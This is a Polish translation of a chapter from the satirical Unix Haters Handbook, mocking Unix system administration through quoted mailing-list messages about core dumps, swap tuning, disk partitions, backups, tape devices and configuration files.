Sysadmini są wysokopłatnymi opiekunkami do dzieci. Podobnie jak dziecko doskonale przetwarza dobre wejście na eksrementy, które pozostawia w pieluchach, Unix zrzuca swoje ekskrementy w całym systemie plików i sieci w postaci zrzutów core z wywalających się programów, plików tymczasowych które nie są tymczasowe, rakowatych plików logów i bezprawnych ponownych transmisji sieciowych. Ale w przeciwieństwie do dziecka które może rozmazać swoje bryłki ale generalnie trzyma je w pieluchach, Unix bawi się w chowanego z tymi odpadami. Bez doświadczonego admina który je usunie, system powoli zajmuje całe dostępne miejsce, zaczyna śmierdzieć, czuje się nieswojo i narzeka albo po prostu umiera.

Niektóre systemy mają tak dużą biegunkę że pieluchy są zmieniane automatycznie:

Date: 20 Sep 90 04:22:36 GMTFrom: [email protected] (Alan H. Mintz)Subject: Re: uucp coresNewsgroups: comp.unix.xenix.sco

In article <[email protected]>, [email protected] (Don Glover) writes:

Od jakiegoś czasu otrzymuję wiadomość o pliku core od uucp w /usr/spool/uucp, idę tam i oczywiście jest tam plik core, kasuję go i znów się pojawia...

Tak. Adnotacje do tej wersji SCO HDB uucp wskazują że „uucico będzie normalnie zrzucał core”. To jest normalne. Faktycznie, domyślna instalacja SCO zawiera skrypt cron-a który usuwa pliki core z /usr/spool/uucp.

Opiekunki do dzieci tracą czas oglądając telewizję kiedy dziecko nie jest aktywnie zdenerwowane (niektóre wykonują prace domowe); sysadmin siedzi przed telewizorem czytając netnews czekając na ostrzeżenia, błędy i narzekania użytkowników (niektórzy także wykonują prace domowe). Duże sieci systemów Unixowych nie lubią być daleko od swoich materialnych sysadminów, którzy często łączą się ze swoimi systemami wieczorem z domu.

145

Page 146: Unix Haters Handbook

Systemy Unixowe niedołężnieją w ciągu tygodni, nie lat

Unix został rozwinięty w środowisku badawczym gdzie systemy rzadko działały przez kilkanaście dni. Nie został zaprojektowany do działania tygodniami w sposób nieprzerwany. Dołącza się też problem sposobu w jaki narzędzia i aplikacje Unixa (zwłaszcza te z Berkeley) były najwyraźniej tworzone: programista wpisuje kod, kompiluje go, uruchamia i czeka aż się wywali. Programy które się nie wywalają są traktowane jako działające poprawnie. Styl produkcji zabezpieczający jakość, tak żywotny dla zewnętrznych twórców aplikacji, nie był częścią kultury rozwoju.

Podczas gdy takie podejście wystarcza na terminowy projekt w kursie systemów operacyjnych, po prostu nie wyłapuje nowotworów w kodzie które pojawiają się w produkcyjnym kodzie który musi działać dni, tygodnie albo miesiące bez przerwy. Nie jest niespodzianką że większość głównych systemów Unixowych cierpi z powodu wycieków pamięci, nagromadzania się śmieci i powolnego mieszania w przestrzeniach adresowych – problemy które typowo pokazują się w programach działających od kilku dni.

Trudność w dołączeniu debuggera do działającego programu (i niemożliwość dołączenia debuggera do wywalonego programu) zapobiega przesłuchaniu programu który działał przez kilka dni i nagle zawiódł.

W efekcie błędy zwykle nie są naprawiane (ani nawet śledzone), i okresowe resetowanie Unixa jest najbardziej niezawodnym sposobem do powstrzymania go od przejawiania choroby Alzheimera.

Date: Sat, 29 Feb 1992 17:30:41 PSTFrom: Richard Mlynarik <[email protected]>To: UNIX-HATERSSubject: And I thought it was the leap-year

Tak więc przegrywam z Unixem 29 lutego:

% make -k xdssh: Bus errormake: Fatal error: The command `date "+19%y 13* %m + 32 * %d + 24 * %H + 60 * %M + p" | dc' returned status `19200'Compilation exited abnormally with code 1 at Sat Feb 29 17:01:34

Zacząłem naprawdę pisać wiadomość o zadławieniu się Unixa przestępnym rokiem, ale dalsze śledztwo – jaki przykład głupoty Unixa nie stanie się dalszym, bezcelowym, niekonkluzywnym, przygnębiającym śledztwem? – pokazuje że przyczyną problemu jest zbyt długie działanie maszyny.

Odkryłem to kiedy program ispell powiedział mi:

swap space exhausted for mmap data of/usr/lib/libc.so.1.6 is not a known word

Teraz, w oślepiającym błysku, stało się jasne że biedna maszyna wypełniła swoją przestrzeń wymiany nie pozbieranymi śmieciami i niekompatybilnymi okruchami w jedenaście dni, jedną godzinę i dziesięć minut zabawy w zrzuty core.

Już dawno CZAS NA RESET!

146

Page 147: Unix Haters Handbook

To co najbardziej dziwi w wiadomości Richarda Mlynarika to oczywiście to, że ta wersja Unixa której używa nie zdecydowała się na samodzielny reset.Nie można dostroić ryby

Unix ma wiele parametrów do dostrojenia swojej wydajności dla różnych potrzeb i warunków działania. Niektóre z tych parametrów, które określają maksymalną ilość pewnych zasobów systemowych, nie są obecne w bardziej zaawansowanych systemach operacyjnych które dynamicznie przydzielają większość zasobów systemowych. Niektóre parametry są ważne, jak względny priorytet procesów systemowych. Praca admina zawiera także ustawianie domyślnych parametrów na właściwe wartości (możesz się dziwić dlaczego większość sprzedawców Unixa nie zawraca sobie głowy ustawianiem tych wartości w swoim oprogramowaniu aby dopasować się do konfiguracji sprzętowej). Ten proces nazywany jest „dostrajaniem systemu”. Całe książki zostały napisane na ten temat.

Dostrajanie systemu czasami wymaga rekompilacji kernela, albo jeśli masz jeden z tych komercyjnych „otwartych systemów” które nie dają ci źródeł ręcznego łatania przy użyciu debuggera. Przeciętni użytkownicy i admini zwykle nigdy nie znajdą nic na temat tych żywotnych parametrów z powodu marnej dokumentacji.

Na szczęście bardzo doświadczeni admini (ci ze zdrowym brakiem szacunku dla Unixa) mogą wygrać bitwę.

Date: Tuesday, January 12, 1993 2:17AMFrom: Robert E. Seastrom <[email protected]>To: UNIX-HATERSSubject: what a stupid algorithm

Wiem że idę po cienkiej linii umieszczając użyteczne informacje w tej wiadomości, ale do diabła, żyje się tylko raz, prawda?

Tak czy inaczej, mam Sparcstation ELC który kupiłem dla osobistego użytku w momencie głupoty. Ma 760 MB dysk twardy i 16 MB pamięci. Myślałem że 16 MB powinno wystarczyć i rzeczywiście, pstat raportuje że zwykłego dnia, używając Ecch Windows, kilku Emacsów, xtermów i czasami xload albo xclock, mam 12 do 13 MB użycia pamięci w szczytach.

Ale nie przyszedłem tu dzisiaj żeby rozmawiać o tym dlaczego 2 emacsy i system okien powinny zajmować całą pamięć późnej AI KS-10. Nie, dzisiaj przyszedłem porozmawiać o systemie pamięci wirtualnej.

Dlaczego tak jest że kiedy odchodzę od mojej wiernej śmieć-stacji na chwilę i wrócę, dotykam myszki i nagle, wrr, wrr, wrr, wszystkie moje procesy wracają z przestrzeni wymiany z powrotem do pamięci?

Chodzi mi o to, dlaczego zostały tam wysłane w pierwszej kolejności? Nie dlatego że system potrzebował tej pamięci – ciągle miał 3 albo 4 MB wolnej pamięci!

Cóż, oto problem. Usłyszałem od szpiegów z abUsenetu (po obejrzeniu kodu stronicowania i niezdolności do znalezienia czegokolwiek) że jest magiczny parametr w części swapping kernela nazwany maxslp (tzn. „max sleep” dla ludzi bez uszkodzeń w wymawianiu samogłosek) który mówi systemowi jak długo proces może nic nie robić zanim zostaje uznany za „długo śpiący” i zostanie przeniesiony do wymiany czy jest to potrzebne, czy nie.

Domyślna wartość tego parametru to 20. Więc jeśli odejdę od mojej Sparcstation na 20 sekund z powodu telefonu albo czegoś innego, bardzo pomocnie przeniesie do wymiany wszystkie procesy które czekają na wejście z klawiatury. Tak więc ma mnóstwo pamięci aby uruchomić nowe procesy albo użyć jako bufora (dla

147

Page 148: Unix Haters Handbook

I/O od procesów które zostały przeniesione do wymiany). Tak więc użyłem wysokowydajnych bogatych w funkcje narzędzi (adb) aby ustawić maxslp na jakąś bardziej odpowiednią wartość (jak 2.000.000.000). Do cholery, jeżeli systemowi nie brakuje pamięci, nie powinien korzystać z przestrzeni wymiany ani stronicować! Kropka!

Dlaczego ktoś nie powie Sun-owi że ich stacje robocze nie są VAX-ami z 2 MB RAMu, to nie jest 1983, i absolutnie niczego się nie zyska przez przeniesienie do wymiany rzeczy które tego nie wymagają ponieważ jest jeszcze mnóstwo pustej pamięci leżącej dookoła? Co, co mówicie? No tak, racja, zapomniałem – Sun chce żeby ich zupełnie nowe szybkie stacje robocze działały jak VAX 11/750 z 2 MB RAM i obciążeniem około 6. Nie ma jak nostalgia, co?

Partycje dyskowe i kopie zapasowe

Zarządzanie przestrzenią dyskową jest obowiązkiem wszystkich typów systemów komputerowych; pod Unixem to zadanie dla Herkulesa. Zanim załadujesz Unixa na swój dysk, musisz zadecydować co do przydziału miejsca dla każdej partycji Unixa. Unix uważa twój dysk za zbiór mniejszych dysków (każdy zawierający kompletny system plików), w przeciwieństwie do innych systemów jak TOPS-20, który pozwalał na stworzenie większego dysku logicznego ze zbioru mniejszych dysków fizycznych.

Każda rzekoma funkcja partycji dyskowych jest tutaj naprawdę po to, aby zamaskować jakiś błąd albo zły projekt. Na przykład partycje dyskowe pozwalają na zrzucanie albo nie określonych sektorów dysku bez potrzeby zrzucania całego dysku. Ale ta „funkcja” jest potrzebna tylko dlatego że program dump może zrzucić tylko kompletny system plików. Partycje dyskowe są traktowane jako przydziały twardego dysku które ograniczają ilość miejsca dla procesu czy użytkownika które może być użyte zanim jego program się zatrzyma. Ta „funkcja” maskuje niedorobiony system plików który nie zapewnia sposobu na nałożenie limitu przydziałów bezpośrednio na katalogi czy fragmenty systemu plików.

Te „funkcje” wywołują dalsze błędy i problemy, które, co nie dziwi, wymagają sysadmina (i dodatkowych kosztów) do naprawy. Unix zwykle zawodzi kiedy program albo użytkownik wypełni cały katalog /tmp, powodując wywalenie się większości innych procesów wymagających tej tymczasowej przestrzeni dyskowej.

Większość programów Unixowych nie sprawdza czy zapis na dysk zakończył się pomyślnie, zamiast tego po prostu idą wesoło dalej zapisując twoją pocztę na pełny dysk. Tutaj wchodzi sysadmin, który „rozwiązuje” ten problem poprzez przeładowanie systemu ponieważ proces uruchomienia wyczyści cały śmietnik zgromadzony w katalogu /tmp. Tak więc teraz wiesz dlaczego proces uruchomienia czyści /tmp.

Zrobienie „dużej” partycji zawierającej katalog /tmp dla przypadków w których program może naprawdę potrzebować całej tej przestrzeni dla poprawnego działania przenosi tylko problem w inne miejsce: niczego nie rozwiązuje. To miejsce tak ostrożnie zarezerwowane na partycji dla jednego lub dwóch wypadków kiedy będzie potrzebne nie może być użyte dla innych celów jak pliki użytkowników które są na innych partycjach. Przez większość czasu jest nieużywane. Cóż, dyski są tanie w dzisiejszych czasach. Ale nieważne jak duży zrobisz /tmp, użytkownik będzie chciał przesortować plik który wymaga pliku tymczasowego który jest 36 bajtów większy niż rozmiar partycji /tmp. Co możesz zrobić? Wezwać swojego kosztownego sysadmina aby zrzucił cały system plików na taśmę (w trybie single-user, oczywiście), następnie przepartycjonował dysk aby zrobić /tmp większe (i coś

148

Page 149: Unix Haters Handbook

innego mniejsze, dopóki nie kupisz nowego dysku), a następnie załadował z powrotem cały system z taśmy. Więcej wyłączeń, więcej kosztów.

Partycja wymiany jest kolejnym kawałkiem dysku o sztywnym rozmiarze który często okazuje się być niewystarczająco duży. W starych czasach, kiedy dyski były małe i szybkie dyski były droższe od wolniejszych [tak już zostało – przyp. tłum.], miało sens umieszczenie partycji wymiany na jednym małym, szybkim dysku. Ale nie ma dłużej sensu przymus posiadania partycji wymiany niezmiennych rozmiarów. Dodanie nowego programu (zwłaszcza X!) do systemu zwykle wyrzuca system poza limit przestrzeni wymiany. Czy Unix jest nieszczęśliwy kiedy kończy mu się przestrzeń wymiany? A czy dziecko płacze kiedy skończy swoje czekoladowe mleko i chce więcej? Kiedy Unixowi kończy się przestrzeń wymiany, zachowuje się jak pomylony. Zabija procesy bez ostrzeżenia. Okna na twojej stacji znikają bez śladu. System panikuje. Chcesz rozwiązać problem znikających procesów przez powiększenie pamięci wymiany? Każ swojemu kosztownemu sysadminowi zrzucić cały system na taśmę (w trybie single-user, oczywiście), przepartycjonować swój dysk żeby /swap był większy i załadować cały system z powrotem z taśmy. Więcej wyłączeń, więcej kosztów. (Brzmi znajomo?)

Problem ustawionych na sztywno partycji zmniejszył się teraz, kiedy gigabajtowe dyski są standardowym wyposażeniem. [A tym bardziej teraz, kiedy dysk 200 GB nie jest niczym niezwykłym – można sobie pozwolić na przeznaczenie kilku GB na /swap bez większego problemu. To jest jednak tylko skutek uboczny, a nie rozwiązanie istoty problemu – przyp. tłum.] Producenci dostarczają maszyny z odpowiednio dużymi partycjami aby uniknąć problemów. Jest to relatywnie drogie rozwiązanie, ale znacznie łatwiejsze do zaimplementowania niż naprawienie Unixa. Niektórzy sprzedawcy Unixa wprowadzają możliwość traktowania systemu plików jako przestrzeni wymiany, co trochę pomaga, chociaż wymiana na systemie plików jest dużo wolniejsza. Tak więc Unix poszedł o mały krok do przodu. Niektórzy sprzedawcy zrobili to poprawnie, i pozwolili systemowi wymiany dynamicznie zjadać system plików do ustalonego limitu. Inni zrobili to źle opierając się na pliku wymiany określonej wielkości, co jest bardziej elastyczne od reformatowania dysku w celu zmiany rozmiaru partycji wymiany, ale dziedziczy wszystkie inne problemy. Także sieje spustoszenie poprzez przyrostowe nocne backupy z użyciem dumpa, często potrajając ilość taśm używanych do backupów. Kolejny dodatkowy koszt używania systemu Unixowego.

Partycje: podwójna radość

Z powodu tendencji Unixa do rozwalania własnego systemu plików, wcześni guru Unixowi opracowali obejście aby zachować część swoich plików od regularnego zniszczenia: spartycjonować dysk na oddzielne fragmenty. Jeśli system padnie i będziesz miał szczęście, tylko połowa twoich danych przepadnie.

System plików pada ponieważ lista wolnych bloków jest zwykle niespójna. Kiedy Unix wywala się, dyski najbardziej używane są najbardziej uszkodzone, ponieważ są najbardziej niespójnymi dyskami – mającymi największą ilość informacji w pamięci, nie na dysku. Guru zadecydowali żeby spartycjonować dyski, dzieląc jeden fizyczny dysk na kilka mniejszych wirtualnych dysków, każdy ze swoim własnym systemem plików.

Argumentem za partycjami dyskowymi jest zachowanie nienaruszonego systemu operacyjnego po padzie systemu (rutynowy wypadek) aby zapewnić reset (po którym system plików zostaje naprawiony). Rozumując w ten sposób byłoby lepiej, gdyby Unix wywalając się psuł pliki użytkownika niż systemu, ponieważ system potrzebny jest do odzyskania. (Oczywiście fakt, że pliki użytkownika prawdopodobnie nie są zbackupowane a kopia systemu jest dostępna na taśmie dystrybucji nie ma nic do rzeczy. Oryginalna wersja Unixa była wysyłana na zewnątrz Bell Labs nie nie taśmach dystrybucji: Dennis Ritchie ręcznie

149

Page 150: Unix Haters Handbook

budował każdą z notatką mówiącą „Oto twój rk05, Dennis”. (rk05 był wczesnym wymiennym zestawem dysków). Według Andy’ego Tannenbauma, „Jeśli Unix padł na twoim rk05, musiałeś napisać do Dennisa po następny”).

Większość systemów Unixowych ma specjalną partycję nazwaną „partycją wymiany” która jest używana jako pamięć wirtualna. Wczesny Unix nie używał systemu plików, ponieważ był on za wolny. Problem z posiadaniem partycji wymiany jest taki że jest ona albo za mała i Unix wywala się kiedy próbujesz pracować nad jakimś większym problemem, albo jest za duża i marnujesz miejsce przez 99% czasu kiedy nie uruchamiasz 800-megabajtowych dynamicznych symulacji.

Są dwie proste reguły które muszą być przestrzegane przy partycjonowaniu dysków:

1. Partycje nie mogą na siebie zachodzić.2. Każda partycja musi być zaalokowana tylko do jednego celu.

W przeciwnym wypadku Unix zacznie pożyczać tą samą przestrzeń dyskową kilku róznym użytkownikom na raz. Kiedy więcej niż jeden użytkownik użyje „ich” przestrzeni dyskowej, katastrofa jest pewna. W 1985, MIT Media Lab miał duży system VAX z sześcioma dużymi dyskami i ponad 64 MB pamięci. Stwierdzili że partycja „c” na dysku #2 była nieużywana i dali Unixowi pozwolenie na użycie jej jako partycji wymiany.

Kilka tygodni później VAX padł, system spanikował. Dzień lub dwa po tym, ktoś kto zapisał jakieś pliki na dysku #2 zgłosił uszkodzenie danych. Dzień później, VAX znów padł.

Administratorzy systemu w końcu odkryli,że partycja „c” na dysku #2 zachodziła na inną partycję na dysku #2 na której przechowywano pliki użytkowników.

Błąd pozostał nie wykryty, ponieważ VAX miał tak dużo pamięci że rzadko korzystał z wirtualnej. Dopiero kiedy ktoś zaczął pracować nad dużym projektem przetwarzania obrazu, wymagającym mnóstwa pamięci, VAX zaczął używać partycji „c” na dysku #2 do wymiany. Kiedy to robił, uszkadzał system plików – zwykle kończyło się paniką.

Podobny problem zdarzył się 4 lata później Michaelowi Traversowi w Media Lab. Oto wiadomość którą przesłał do UNIX-HATERS od jednego z administratorów systemu (stanowisko zajmowane przez trzech pracowników na pełnych etatach):

Date: Mon, 13 Nov 89 22:06 ESTFrom: [email protected]: File SystemsTo: [email protected]

Mike,

Popełniłem błąd przy tworzeniu systemów plików /bflat i /valis. Systemy plików zaszły na siebie i całkowicie rozwaliły się nawzajem. Niestety, nie mogłem znaleźć sposobu na rekonstrukcję systemów plików.

Naprawiłem problem, ale obawiam się, że ci to nie pomoże. Dane które tam były są stracone na dobre. Czuję się źle z tego powodu i przepraszam, ale nic już nie mogę zrobić.

Jeśli to co miałeś na /bflat nie było strasznie nowe, być może uda się to odzyskać z taśm. Sprawdzę jaką mamy najnowszą taśmę.

Wyłączenia i backupy

150

Page 151: Unix Haters Handbook

Dyskowe systemy plików są regularnie backupowane na taśmę aby uniknąć utraty danych w przypadku awarii dysku. Typowo, wszystkie pliki na dysku są kopiowane na taśmę raz na tydzień, albo przynajmniej raz na miesiąc. Backupy są przeprowadzane co noc dla wszystkich plików które uległy zmianie w ciągu dnia. Niestety, nie ma gwarancji że backupy Unixa uratują cię.

From: [email protected] (Keith Bostic)Subject: V1.95 (Lost bug reports)Date: 18 Feb 92 20:13:51 GMTNewsgroups: comp.bugs.4bsd.ucb-fixesOrganization: University of California at Berkeley

Ostatnio mieliśmy problemy z dyskiem używanym do przechowywania raportów o błędach systemu 4BSD i straciliśmy około roczny okres. Będziemy bardzo zobowiązani za ponowne wysłanie raportów o błędach które były wysłane od stycznia 1991.

Można prawie wykryć pojawiającą się inteligencję, jak w „Colossus: The Forbin Project”. Unixowi udało się usunąć z siebie dokumenty dowodzące, że ma błędy.

Metoda Unixa uaktualniania danych i wskaźników przechowywanych na dysku pozwala na niespójności i niewłaściwe wskażniki na dysku kiedy plik jest tworzony lub modyfikowany. Kiedy system padnie przed uaktualnieniem dysku o wszystkie właściwe zmiany, co dzieje się zawsze, system plików na dysku staje się uszkodzony i niespójny. Uszkodzenie jest widoczne w czasie ponownego startu po padzie systemu: Unix automatycznie uruchamia fsck aby poskładać system plików z powrotem.

Wielu adminów Unixa nie zdaje sobie sprawy że niespójności następują także w czasie zrzutu systemu na taśmę. Program backupowy robi migawkowe zdjęcie aktualnego systemu plików. Jeśli jakiś użytkownik lub proces modyfikuje pliki w czasie backupu, system plików będzie niespójny przez krótkie okresy czasu. Ponieważ zrzut nie jest natychmiastowy (i zwykle trwa godzinami), to zdjęcie staje się mgliste. To jakby fotografować samochód wyścigowy z przesłoną ustawioną na 1 sekundę, z podobnym efektem: najważniejsze pliki – te, które ludzie aktywnie modyfikują – są tymi których nie można odtworzyć.

Ponieważ Unixowi brakuje możliwości backupu „żywego” systemu plików, właściwy backup wymaga przełączenia systemu w tryb single-user, w którym żaden proces w systemie nie zmieni plików na dysku w trakcie backupu. W systemach z gigabajtami dysków oznacza to godziny wyłączenia codziennie. (Z adminem któremu się płaci za oglądanie kręcących się taśm). Jasno z tego wynika, że Unix nie jest poważną opcją dla aplikacji wymagających ciągłego działania. Jeden zestaw systemów Unixowych wymagający ciągłego działania był zmuszony do powiedzenia użykownikom w /etc/motd aby „spodziewali się anomalii” w trakcie okresowych backupów:

SunOS Release 4.1.1 (DIKUSUN4CS) #2:Sun Sep 22 20:48:55 MET DST 1991--- BACKUP PLAN ----------------------------------------------------Skinfaxe: 24. Aug, 9.00-12.00 Please note that anomalies canFreja & Ask: 31. Aug, 9.00-13.00 be expected when using the UnixOdin: 7. Sep, 9.00-12.00 systems during the backups.Rimfaxe: 14. Sep, 9.00-12.00Div. Sun4c: 21. Sep, 9.00-13.00--------------------------------------------------------------------

151

Page 152: Unix Haters Handbook

Umieszczenie danych na taśmie to dopiero połowa roboty. Aby dostać je z powrotem, Berkeley Unix błogosławi nas swoim programem restore. Restore ma wspaniały tryb interaktywny który pozwala na chdir w fantomie systemu plików i zaznaczenie plików które chcesz odzyskać, a następnie piszesz magiczną komendę i taśmy zaczynają się kręcić. Ale jeśli chcesz odzyskać pliki z linii poleceń, jak prawdziwy Unixowy guru, uważaj.

Date: Thu, 30 May 91 18:35:57 PDTFrom: Gumby Vinayak Wallace <[email protected]>To: UNIX-HATERSSubject: Unix’s Berkeley FFS

Mieliście kiedyś nieszczęście próbować odzyskać plik z backupu? Poza tym że jest to powolne i bolesne, ktoś odkrył na jego nieszczęście że znak zastępczy, dany programowi restore, odzyskuje tylko pierwszy pasujący plik, nie wszystkie pasujące pliki!

Ale może to umyślny „minimalizm” w systemie plików bez bitów backupu.

Więcej taśmy klejącej

Przypuśćmy że chcesz skopiować 500-stronicowy dokument. Chcesz mieć doskonałą kopię, więc kupujesz nową ryzę papieru i kopiujesz dokument strona po stronie, upewniając się że każda strona jest doskonała. Co zrobisz jeśli na stronie jest plama? Jeśli masz więcej inteligencji niż kula do kręgli, ponownie skopiujesz stronę i będziesz kontynuował. Jeśli jesteś Unixem, poddasz się kompletnie, kupisz nową ryzę papieru i zaczniesz od początku. To nie żart. Nawet jeśli dokument ma 500 stron, a ty skutecznie skopiowałeś 499 stron.

Unix używa taśm magnetycznych do tworzenia kopii dysków, nie papieru, ale analogia jest całkowicie trafna. Czasami zdarza się mała niedoskonałość na taśmie która nie może być zapisana. Czasami Unix odkrywa to po kilku godzinach spędzonych na zrzucie 2 gigabajtów. Unix wesoło raportuje złe miejsce, prosi o wymianę taśmy na nową, niszczy złą taśmę i zaczyna od nowa. Tak, Unix uważa całą taśmę za nieużywalną jeśli nie może zapisać na jej jednym calu. Inne, bardziej odporne na błędy systemy mogą użyć takiej „złej” taśmy. Omijają złe miejsce kiedy do niego dojdą i kontynuują. Sposób Unixa przekłada się na stracony czas i pieniądze.

Unix nazywa taśmę na różne sposoby. Może myślisz, że jest to coś tak prostego jak /dev/tape. Nie ma szans w wersji Unixa z Berkeley. On koduje specyficzne parametry napędu taśmowego w nazwie urządzenia. Zamiast jednej nazwy typu „tape”, Unix używa innej nazwy dla każdego dostępnego rodzaju interfejsu napędu taśm, dając nazwy typu /dev/mt, /dev/xt i /dev/st. Zmiana interfejsu da twojemu sysadminowi kilka dolarów więcej za zmianę wszystkich skryptów zrzutowych. Skryptów zrzutowych? Tak, każdy serwer Unixowy używa własnych skryptów do robienia zrzutów, ponieważ sprzedawcy często używają różnych nazw napędów taśmowych i nikt nie może zapamiętać właściwych opcji aby zmusić program dump do działania. Do tych nazw Unix dodaje numer jednostki, jak /dev/st0 czy /dev/st1. Jednak nie daj się tym numerom ogłupić: /dev/st8 to tak naprawdę /dev/st0 a /dev/st9 to /dev/st1. Gęstość zapisu jest wybierana przez dodanie określonego przesunięcia do numeru jednostki. Ten sam napęd, inna nazwa. Ale jest jeszcze więcej! Dodaj przed nazwą „n” i powiesz w ten sposób sterownikowi, żeby nie przewijał taśmy po jej zamknięciu. Dodaj przed nazwą „r” i powiesz w ten sposób sterownikowi że jest to urządzenie znakowe, a nie blokowe. Tak więc nazwy /dev/st0, /dev/rst0, /dev/nrst0, /dev/nrst8 i /dev/st16 odnoszą się do tego samego urządzenia. Miesza w głowie, co?

152

Page 153: Unix Haters Handbook

Ponieważ Unix nie zapewnia wyłącznego dostępu do urządzeń, programy grają w „pojedynek o zasoby”, grę z której nikt nie wychodzi żywy. Jako prosty przykład przypuśćmy, że twój system ma dwa napędy taśm, nazwane /dev/rst0 i /dev/rst1. Ty albo twój admin właśnie spędziliście godzinę lub dwie tworząc taśmę przy pomocy tar lub dump zawierającą bardzo ważne pliki w napędzie 0. Pan J.Q.Random na dole ma taśmę w napędzie 1. Pomylił się i zamiast 1 napisał 0, w ten sposób niszcząc twój zrzut! Dlaczego się to zdarzyło? Ponieważ Unix nie pozwala użytkownikowi uzyskać wyłącznego dostępu do napędu taśm. Program otwiera i zamyka napęd taśm wiele razy w czasie zrzutu. Za każdym razem kiedy plik jest zamknięty, każdy inny użytkownik systemu może użyć napędu taśm. Unixowa kontrola „zabezpieczeń” jest w ten sposób całkowicie omijana. Taśma z prywatnymi plikami może być odczytana przez kogokolwiek w systemie dopóki nie zostanie wyjęta z napędu. Jedynym sposobem jest zabronienie komukolwiek innemu niż operator systemu dostępu do napędu taśm.

Pliki konfiguracyjne

Admini zarządzają dużym asortymentem plików konfiguracyjnych. Ci którzy mają alergię na Windows z jego czterema plikami konfiguracyjnymi [w wersji 3.1, 3.11 – przyp. tłum.] , nie powinni podchodzić do Unixa aby nie ryzykować wstrząsu anafilaktycznego. Unix chwali się tuzinami plików, każdy wymaga właściwej kombinacji liter i hieroglifów dla właściwej konfiguracji i działania systemu.

Każdy plik konfiguracyjny Unixa kontroluje inny proces albo zasób i każdy ma unikalną składnię. Separatory pól to czasami dwukropki, czasami spacje, czasami (nieudokumentowane) tabulatory, a jeśli masz szczęście – znaki niedrukowalne. Jeśli wybierzesz zły separator, program czytając plik konfiguracyjny zwykle po cichu umrze, zniszczy swoje pliki danych albo zignoruje resztę pliku. Rzadko zakończy działanie i zaraportuje właściwy problem. Inna składnia dla każdego pliku zapewnia bezpieczeństwo pracy admina. Wysoko płatny admin Unixowy może spędzić godziny szukając różnicy pomiędzy spacjami a tabulatorem w jednym z poniższych plików konfiguracyjnych. Uważaj na admina mówiącego o poprawie bezpieczeństwa podczas edycji tych plików; mówi o swojej pracy, nie o twoim systemie:

/etc/rc /etc/services /etc/motd/etc/rc.boot /etc/printcap /etc/passwd/etc/rc.local /etc/networks /etc/protocols/etc/inetd.conf /etc/aliases /etc/resolv.conf/etc/domainname /etc/bootparams /etc/sendmail.cf/etc/hosts /etc/format.dat /etc/shells/etc/fstab /etc/group /etc/syslog.conf/etc/exports /etc/hosts.equiv /etc/termcap/etc/uucp/Systems /etc/uucp/Devices /etc/uucp/Dialcodes

Wiele maszyn oznacza więcej szaleństwa

Wiele organizacji ma sieci które są za duże, żeby mieć tylko jeden serwer. Dwadzieścia maszyn to maksimum dla większości serwerów. Administratorzy systemu mają koszmar utrzymywania wszystkich serwerów we wzajemnej synchronizacji, z uwagą na nowe wersje i pliki konfiguracyjne. Skrypty shellowe są pisane aby zautomatyzować ten proces, ale kiedy zawiodą, wynikłe zamieszanie jest trudne do wyśledzenia, co widzimy w poniższych zeznaniach adminów:

153

Page 154: Unix Haters Handbook

From: Ian Horswill <[email protected]>Date: Mon, 21 Sep 92 12:03:09 EDTTo: [email protected]: Muesli printcap

W jakiś sposób wpis printcap Muesli został napisany w nocy przez czyjś inny printcap. To oznacza że demon drukarki liniowej Muesli, który miał służyć Thistle, został poinstruowany że ma wywoływać proces potomny i łączyć się ze sobą za każdym razem kiedy ktoś z Thistle próbuje coś wydrukować. Nie trzeba chyba dodawać, że Muesli, lpd [demon drukarki liniowej] i Thistle były raczej nieszczęśliwe. To jest chyba naprawione teraz (tak myślę), ale powinniśmy się upewnić że nie ma automatycznego demona nadpisującego ten plik co noc. Nie mogę śledzić kto ma kopię czego i jak to wpływa na system.

(Unixowy język sieciowy jest bardzo dziwny. Wymowa stwierdzenia „demon który miał służyć Thistle, został poinstruowany że ma wywoływać proces potomny i łączyć się ze sobą” sugeruje że sieci Unixowe powinny być nazwane „szatańskimi kazirodczymi [whelping]”.

Program rdist (zdalna dystrybucja) miał pomóc w zachowaniu plików konfiguracyjnych w synchronizacji przez instalowanie kopii w sieci. Zmuszenie go do działania zwykle wymaga jednak mnóstwo czasu i cierpliwości:

From: Mark Lottor <[email protected]>Subject: rdist config lossageDate: Thursday, September 24, 1992 2:33PM

Ostatnio ktoś wyedytował nasz plik Distfile z rdist-a. Przypadkowo dodali nadmiarowy nawias na końcu linii. Uruchomienie rdist dało:

fs1:> rdistrdist: line 100: syntax errorrdist: line 102: syntax error

Oczywiście sprawdzenie tych linii nie wykazało błędu. Żeby było śmieszniej obie te linie to komentarze! Kilka godzin spędziłem na przeszukiwaniu całego pliku w celu znalezienia możliwych błędów jak spacje zamiast tabulatorów itp. (oczywiście nie mogliśmy zrobić diff z poprzednią wersją, bo w Unixie nie ma numerów wersji). W końcu znaleziony został nadmiarowy nawias, w 110 linii pliku. Dlaczego Unix nie umie liczyć???

Wygląda na to, że plik miał kontynuowane linie (te kończące się na \). Rdist liczy te długie linie jako jedną linię. Wspominam tylko o tym ponieważ jestem pewien że nikt tego nigdy nie naprawi; Unixowe świry prawdopodobnie uważają że właśnie tak powinno być.

To typowy idiotyzm Unixowy: możesz poczuć wykładniczo rosnącą entropię konserwacji systemu.

Następny list nawet trudno skategoryzować:

From: Stanley Lanning <[email protected]>Date: Friday, January 22, 1993 11:13AM

154

Page 155: Unix Haters Handbook

To: UNIX-HATERSSubject: RCS

Jako oświeceni ludzie, też używamy RCS. Jako hackerzy, piszemy skrypty shellowe i funkcje elisp żeby łatwiej było sobie z RCS poradzić.

Używam Solaris 2.x. Wygląda na to że wersja RCS jaką tutaj używamy jest trochę stara i nie działa pod Solarisem. Nie działa także pod pakietem Binarnej Kompatybilności, zamiast tego po cichu zrzuca core w jakimś katalogu. Ale najnowsza wersja RCS działa pod Solarisem, więc wziąłem najnowsze źródła i skompilowałem je i wszystko znów działało.

Wtedy odkryłem że nasz pakiet Emacs RCS nie działa z najnowszą wersją RCS. Dlaczego? Jedną ze zmian w RCS jest najwyraźniej niepotrzebna i niekompatybilna zmiana wyjścia z rlog. Dziękuję. Tak więc zhackowałem kod elisp i znów działało.Wtedy odkryłem że nasze skrypty shellowe nie działają z powodu tej samej zmiany. Skoro już przy tym jestem naprawiłem trochę innych problemów z nimi, rzeczy typu używanie „echo … | -c” zamiast „echo –n …” pod Solarisem. Jedną świetną rzeczą w Sunach (już nie startują szybko) jest to że są kompatybilne. Z innymi Sunami. Czasami. Hack, hack, hack i znów działa.

